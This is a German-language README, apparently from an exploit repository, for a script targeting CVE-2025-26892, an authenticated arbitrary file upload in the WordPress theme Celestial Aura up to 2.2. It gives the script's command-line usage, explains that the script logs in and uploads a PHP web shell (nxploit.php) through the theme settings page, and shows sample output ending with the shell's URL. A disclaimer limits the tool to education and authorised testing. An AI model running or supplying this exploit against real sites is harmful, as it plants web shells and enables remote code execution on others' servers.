
WordPress Celestial Aura Theme <= 2.2 ist anfällig für Arbitrary File Upload
Eine Schwachstelle mit uneingeschränktem Datei-Upload besteht im WordPress-Theme Celestial Aura (entwickelt von dkszone) bis Version 2.2.
Ein authentifizierter Benutzer mit niedrigen Berechtigungen kann über das Admin-Panel des Themes beliebige PHP-Dateien hochladen, was potenziell zu Remote Code Execution (RCE) führen kann.
Celestial Aurawp-admin/admin.php?page=CA-settingsPatchstack CNA-Bewertung:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:Husage: CVE-2025-26892.py [-h] --url URL --username USERNAME --password PASSWORD
CVE-2025-26892 | WordPress Celestial Aura Theme <= 2.2 Arbitrary File Upload (Authenticated)
options:
-h, --help Show this help message and exit
--url, -u URL Target WordPress site (e.g., http://127.0.0.1/wordpress)
--username, -un WordPress username (any authenticated user)
--password, -p WordPress password
Das Skript meldet sich mit den angegebenen Anmeldedaten an, lädt eine schädliche PHP-Shell (nxploit.php) über die anfälligen Theme-Einstellungen hoch und gibt die direkte URL zur hochgeladenen Shell aus.
[+] Exploit sent successfully.
[+] Form Fields Sent:
- CA_hdrimage: yes
...
- CA_save: Save changes
[+] Shell Location:
http://target-site/wp-content/uploads/nxploit.php
Exploit By: Khaled_alenazi (Nxploited)
Dieses Projekt ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt.
Jeglicher Missbrauch dieses Tools liegt nicht in der Verantwortung des Autors.